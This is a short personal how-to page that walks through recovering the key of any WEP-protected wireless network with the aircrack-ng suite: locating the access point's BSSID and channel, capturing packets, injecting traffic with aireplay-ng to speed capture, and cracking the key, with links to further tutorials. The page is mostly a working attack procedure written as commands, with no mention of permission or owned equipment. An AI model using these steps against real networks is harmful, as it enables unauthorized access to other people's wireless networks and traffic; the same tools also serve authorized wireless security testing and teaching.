WLAN documentation

Documentation on all my experiments with WLAN networks

Contents

1 Cracking a WEP network

This describes how to get the key of any WEP network using the aircrack[1] suite of tools. The instructions below have been tested with the `1.0_rc3` version of `aircrack-ng`.

1.1 Finding the BSSID and channel

You first have to know exactly which access point you want to get the key from, and which channel it is broadcasting on. To do that, run (as root):

```
$ airodump-ng ra0
```

and note the value of the BSSID and channel fields of the network you want to access.

1.2 Collecting data

Then start packet collection (as root):

```
$ airodump-ng -i -w crypted-packets -c $channel -d $bssid ra0
```

One may need to collect up to one million packets, which may take time. There is way to inject trafic to make it faster: while airodump is still running, launch (as root):

```
$ aireplay-ng -1 0 -a $bssid ra0
```

[1] `http://www.aircrack-ng.org/doku.php`

This only works if your wlan driver supports packet injection (for example the driver for the wlan card on the eee PC 901 does not). To see if it is supported, you can visit aircrack's forum[2].

Once this has been done, do:

```
$ aireplay-ng -3 -b $bssid ra0
```

1.3 Cracking the key

When enough packets have been collected by airodump, run:

```
$ aircrack-ng crypted-packets-01.ivs
```

2 References

- How to crack a WEP key using Ubuntu[3]: describes the main ideas, but the command line has to be edited somehow.
- WLAN hacking[4]: describes the exploit and the techniques in more details, links to several pages of explainations, but not as easy to follow as the ubuntu tutorial.

[2] http://forum.aircrack-ng.org/

[3] http://www.askstudent.com/hacking/how-to-crack-a-wep-key-using-ubuntu/

[4] http://cri.ch/linux/docs/sk0016.html